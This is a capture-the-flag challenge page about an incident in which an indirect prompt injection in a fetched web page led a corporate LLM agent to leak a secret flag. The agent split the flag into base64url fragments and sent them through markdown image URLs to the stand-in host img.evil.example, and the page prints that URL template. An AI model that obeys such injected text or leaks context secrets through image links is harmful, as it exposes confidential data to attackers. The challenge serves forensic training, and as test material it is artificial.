Skip to main content
Challenges AI agent: indirect prompt injection and leakage
Artificial Intelligence Medium LLM agent security: indirect prompt injection and data exfiltration via markdown images Solves: 2

AI agent: indirect prompt injection and leakage

Author: CyberSamSU
Points
40

A corporate assistant LLM agent had tools for reading internal files (read_file) and loading external web pages (web_fetch). After an incident occurred, the security team exported the agent's full conversation and tool-call log: agent_transcript.jsonl.

When a secret file was read, the audit log masked its value as [REDACTED_BY_AUDIT_LOGGER], but that value had been passed into the LLM's context window. An indirect prompt injection hidden in one of the external web pages forced the agent to split the secret flag in its context into fragments and leak it to an external server through markdown image URLs:

![](https://img.evil.example/p.png?d=<base64url_bo'lak>&i=<indeks>)

The fragments were sent out over the network in mixed order and some were re-sent (retry). In addition, the log contains a honeypot sample from the system prompt and decoy images belonging to another (internal telemetry) domain. Assemble the fragments sent to the attacker's domain (img.evil.example) in the order of the i index, base64url-decode them and find the BAYROQ{AGENT_SIZDIRISH_...} flag (the last 16 characters are lowercase hex).

Attached files
agent_transcript.jsonl Log in to download
Hints 3
Opening a hint reduces the points you get for solving this challenge.
Hint 1 −4 pts Log in
Hint 2 −8 pts Log in
Hint 3 −12 pts Log in
To submit a flag, log in.

First solvers

1. Mirjaxon Qaxxarov 24.11.2026
2. Odam 25.11.2026